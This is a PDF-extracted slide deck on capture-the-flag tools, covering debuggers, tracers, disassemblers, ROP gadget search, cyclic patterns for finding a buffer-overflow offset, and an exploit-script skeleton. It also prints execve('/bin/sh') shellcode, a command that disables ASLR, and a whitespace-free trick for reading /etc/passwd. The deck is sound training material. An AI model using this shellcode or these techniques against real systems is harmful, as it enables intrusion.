The CTF Toolbox - CTF Tools of The Trade PDF
The CTF Toolbox - CTF Tools of The Trade PDF
The CTF Toolbox - CTF Tools of The Trade PDF
http://www.trapkit.de/tools/checksec.html
objdump -d -j .text
$ objdump -M intel --no-show-raw-insn -d -j .text hello
080483b0 <.text>:
80483b0: xor ebp,ebp
80483b2: pop esi
80483b3: mov ecx,esp
80483b5: and esp,0xfffffff0
80483b8: push eax
80483b9: push esp
80483ba: push edx
80483bb: push 0x8048580
80483c0: push 0x8048510
80483c5: push ecx
80483c6: push esi
80483c7: push 0x80484fe
80483cc: call 8048390 <__libc_start_main@plt>
objdump -d -j .text --start-address
$ objdump -M intel --no-show-raw-insn -d -j .text--start-address 0x80484fe hello
080484fe <.text+0x14e>:
80484fe: push ebp
80484ff: mov ebp,esp
8048501: and esp,0xfffffff0
8048504: call 80484ad <write@plt+0x10d>
8048509: mov eax,0x0
804850e: leave
804850f: ret
strace -if
$ echo "AAAA" | strace -if ./hello
[00007f0cd9e90337] execve("./hello", ["./hello"], [/* 51 vars */]) = 0
[ Process PID=19972 runs in 32 bit mode. ]
[f77eed89] brk(0) = 0x83f4000
[f77f07b4] open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
[f77f073d] fstat64(3, {st_mode=S_IFREG|0644, st_size=141252, ...}) = 0
[f77f0983] mmap2(NULL, 141252, PROT_READ, MAP_PRIVATE, 3, 0) = 0xfffffffff77b3000
[f77f092d] close(3) = 0
[f77d8430] write(1, "hello world\n", 12) = 12
[f77d8430] read(0, "AAAA\n", 50) = 5
[f77d8430] write(1, "AAAA\n", 5) = 5
[f77d8430] exit_group(0)
ltrace -if
$ python -c 'print "A"*50' | ltrace -if ./hello
[pid 19474] [0x80483d1] __libc_start_main(0x80484fe, 1, 0xffa95994, 0x8048510
[pid 19474] [0x80484bf] puts("hello world") = 12
[pid 19474] [0x80484da] read(0, "AAAAAAAAAAAAAAAAAAAA"..., 50) = 50
[pid 19474] [0x80484e5] strlen("AAAAAAAAAAAAAAAAAAAAA"...) = 52
[pid 19474] [0x80484fc] write(1, "AAAAAAAAAAAAAAAAAAAA"..., 52) = 52
[pid 19474] [0x41414141] --- SIGSEGV (Segmentation fault) ---
[pid 19474] [0xffffffffffffffff] +++ killed by SIGSEGV +++
objdump -d -j .text hello | less
80484d5: call 8048350 <read@plt>
80484da: lea eax,[ebp-0x28]
80484dd: mov DWORD PTR [esp],eax
80484e0: call 8048380 <strlen@plt>
80484e5: mov DWORD PTR [esp+0x8],eax
80484e9: lea eax,[ebp-0x28]
80484ec: mov DWORD PTR [esp+0x4],eax
80484f0: mov DWORD PTR [esp],0x1
80484f7: call 80483a0 <write@plt>
80484fc: leave
80484fd: ret
gdb
$ gdb ./hello
(gdb) b *0x80484d5
(gdb) b *0x80484fc
(gdb) info files
`/home/meta/tmp/hello', file type elf32-i386.
Entry point: 0x80483b0
0x080483b0 - 0x08048582 is .text
0x08048598 - 0x080485ac is .rodata
0x0804a024 - 0x0804a02c is .data
0x0804a02c - 0x0804a030 is .bss
0xf7e1f350 - 0xf7e1f420 is .plt in /lib/i386-linux-gnu/libc.so.6
0xf7e1f420 - 0xf7f50b6e is .text in /lib/i386-linux-gnu/libc.so.6
(gdb) run < payload
gdb
Breakpoint 1, 0x080484d5 in ?? ()
(gdb) i r eip esp ebp
eip 0x80484d5 0x80484d5
esp 0xffffd290 0xffffd290
ebp 0xffffd2c8 0xffffd2c8
Breakpoint 2, 0x080484fc in ?? ()
(gdb) x/32xw $esp
0xffffd290: 0x00000001 0xffffd2a0 0x00000034 0x08048319
0xffffd2a0: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd2b0: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd2c0: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd2d0: 0x08044141 0x00000000 0x00000000 0xf7e21a83
(gdb) p 0xffffd2cc-0xffffd290
$2 = 60
~/.gdbinit
set disassembly-flavor intel define xenv
set follow-fork-mode child x/20s *environ
set history save on end
set history filename ~/.gdb_history document xenv
set history size 32768 Print the environment variables
set history expansion on from the stack
end
define xall
i r eip esp ebp eax
x/5i $eip
x/32xw $esp
end
document xall
Stack and disas helper
end
~/.gdbinit
(gdb) xall
eip 0x80484d5 0x80484d5
esp 0xffffd290 0xffffd290
ebp 0xffffd2c8 0xffffd2c8
eax 0xffffd2a0 -11616
=> 0x80484d5: call 0x8048350 <read@plt>
0x80484da: lea eax,[ebp-0x28]
0x80484dd: mov DWORD PTR [esp],eax
0xffffd290: 0x00000000 0xffffd2a0 0x00000032 0x08048319
0xffffd2a0: 0xffffd516 0x0000002f 0x0804a000 0x08048562
0xffffd2b0: 0x00000001 0xffffd374 0xffffd37c 0xf7e3b42d
(gdb) xenv
0xffffd52b: "XDG_VTNR=7"
0xffffd536: "XDG_SESSION_ID=c2"
0xffffd5b2: "SHELL=/bin/bash"
gdb cheatsheet
gdb -ex c -p $(pgrep -n hello) # attach to latest hello pid & continue
run A B C < payload # run with arguments and stdin from file
b *0x80481c0 # break on memory address
b write # break on calls to write()
x/32xw $esp # display stack
i r eip esp ebp eax # info registers
disas # disassemble current function
x/10i $eip # disassemble next 10 instructions
p system # print address of system()
i fun # show functions (plt)
ni # step over function call
si # step into function call
fin # continue until current function returns
peda
PEDA - Python Exploit Development Assistance for GDB
https://github.com/longld/peda
$ ls -lh /proc/self/mem
-rw------- 1 meta meta 0 Apr 14 17:58 /proc/self/mem
proc
ASLR
$ cat /proc/sys/kernel/randomize_va_space
# echo 0 > /proc/sys/kernel/randomize_va_space
automatic debugging
$ cat /proc/sys/kernel/core_pattern
$ man proc
bash
echo $'\x42' # $’’ does expansion of patterns
cat payload - | nc # pipe payload then reattach stdin
.bash_aliases # alias your favorite parameters
echo cat${PS4##+}/etc/passwd # no whitespace!?
echo A${PS1:(-1)}B
while true; do ______; done # loop
0<foo # stdin from file
2>baz #
1<<bar # append file bar to
env A=B ./foo C D 0<bar # environ, params, stdin
s = socket()
s.connect(('localhost',4242))
s.send('hi there')
print s.recv(1024)
# ...
t = Telnet()
t.sock = s
t.interact()
import Crypto
# Hashing
from Crypto.Hash import SHA256
msg = "Help! Help! I'm being repressed!"
print SHA256.new(msg).hexdigest()
# Cryptography
from Crypto.PublicKey import RSA
from Crypto import Random
# Generate new key pair
random_generator = Random.new().read
key = RSA.generate(2048, random_generator)
pubkey = key.publickey()
import Crypto
# Encrypt In [14]: key.e
Out[14]: 65537L
ciphertext = pubkey.encrypt(msg, 32)
In [15]: key.n
Out[15]:
# Decrypt 30991065131474170911118212941727579306682019
29868012008661842209764039933274300036619115
print key.decrypt(ciphertext) 72737197985584135191334556113806558515035359
15085395865551004502663587653461814362860039
39132042398155191215191971573180632459038893
# Encrypt with math! 93921134133511308507482275904307854476203407
13244504749119839553967332141503734760713609
m = RSA.pubkey.bytes_to_long(msg)
83400821837681841541073220786942681243131157
c = pow(m,key.e) % key.n 72338554097412017776134664741202377408516257
89921433858304788846719004760659669473601495
ciphertext = RSA.pubkey.long_to_bytes(c) 85910869795140177673016499557630132611890069
print key.decrypt(ciphertext) 75327785161375308113526703226749951599956590
33007159796422590685943303971395744649229969
68584019094126902395139858157244110740450144
3L
http://rootfoo.org/ctf/2013-plaid-giga
sagemath.org
cryptool 1
import capstone
$ readelf -S hello
[Nr] Name Type Addr Off Size ES Flg Lk Inf Al
[13] .text PROGBITS 080483b0 0003b0 0001d2 00 AX 0 0 16
address,offset,size = 0x080483b0,0x0003b0,0x0001d2
with open('hello') as f:
f.seek(offset)
code = f.read(size)
from capstone import *
cs = Cs(CS_ARCH_X86, CS_MODE_32)
for insn in cs.disasm(code, address):
print "{0:08x}: {1} {2}".format(insn.address, insn.mnemonic, insn.op_str)
capstone vs objdump
# python capstone # objdump -d -j .text
http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
shell-storm
$ ./shell-storm-api.py -search linux/x86
[811] 28 Linux/x86 - execve(/bin/sh) - 28 bytes
[813] 83 Linux/x86 - ASLR deactivation - 83 bytes
[822] 131 Linux/x86-64 - bind-shell with netcat - 131 bytes
[823] 109 Linux/x86-64 - connect back shell with netcat - 109 bytes
[827] 23 Linux/x86 - execve /bin/sh shellcode - 23 bytes
[219] n/a Linux/x86 - stdin re-open and /bin/sh execute
$ ./shell-storm-api.py -display 219
Connecting to shell-storm.org...
char sc[] =
"\x31\xc0\x31\xdb\xb0\x06\xcd\x80"
"\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80"
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
http://shell-storm.org/shellcode/
ROPgadget
$ ./ROPgadget ./hello
Gadgets information
============================================================
0x08048331: pop ebx ; ret
0x080483e0: mov ebx,DWORD PTR [esp] ; ret
0x0804856d: pop esi ; pop edi ; pop ebp ; ret
0x0804856f: pop ebp ; ret
0x08048688: inc ecx ; ret
http://shell-storm.org/project/ROPgadget/
Cyclic Patterns
● Metasploit pattern_create.rb/pattern_offset.rb
● peda pattern_create/pattern_offset
● everybody else who’s implemented it...
$ pattern_create 30
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9
$ pattern_offset 41316141
3
Cyclic Patterns
$ pattern_create 50 | ./hello
hello world
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5ASegmentation fault
$ dmesg | tail -n1
hello[32662]: segfault at 35624134 ip 35624134 sp ffcef470 error 14
$ pattern_offset 35624134
44
$ echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0000 | ./hello
hello world
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0000
Segmentation fault
$ dmesg | tail -n1
$ hello[356]: segfault at 30303030 ip 30303030 sp ffe61c90 error 14
libctf
from libctf import *
sock = Sock('localhost',9090)
sock.verbose = True
payload = pack(
'A'*100, $ ./pwn.py
0x11223344,
54687265 65207368 616c6c20 62652074 Three shall be t
0xdeadbeef) 6865206e 756d6265 72207468 6f752073 he number thou s
sock.recv() 68616c74 20636f75 6e740a halt count
sock.send(payload)
sock.interact() 41414141 41414141 44332211 efbeadde AAAAAAAAD3"
print hexdump(payload)
https://github.com/rootfoo/libctf
decompilers
x86 / x64 - IDA Pro + hex-rays (www.hex-rays.com)
Java - JD-GUI (jd.benow.ca)
.NET - .NET Reflector (www.red-gate.com/products/dotnet-development/reflector/)
Android / Davlik - JEB (https://www.pnfsoftware.com/)
Python.pyc - uncompyle2 (https://github.com/wibiti/uncompyle2)
file carvers
● photorec (from testdisk)
● hachoir-subfile (from hachoir)
● scalpel (from SleuthKit)
● enCase (if you have tons of money to burn and like bad UIs)
$ hachoir-subfile pocorgtfo02.pdf
[+] Start search on 14109425 bytes (13.5 MB)
OpenSSL
$ openssl s_client -showcerts -connect google.com:443
DNS AXFR
$ dig +short ns example.com
$ dig @ns1.example.com example.com AXFR
Scapy
$ sudo scapy
>>> sr(IP(dst='127.0.0.1')/TCP(dport=8888, sport=666, flags="S"))
tshark
# like Wireshark but without the GUI
# PDML - XML sucks, but it’s text!
https://github.com/Gallopsled/pwntools
Questions?
tecknicaltom & meta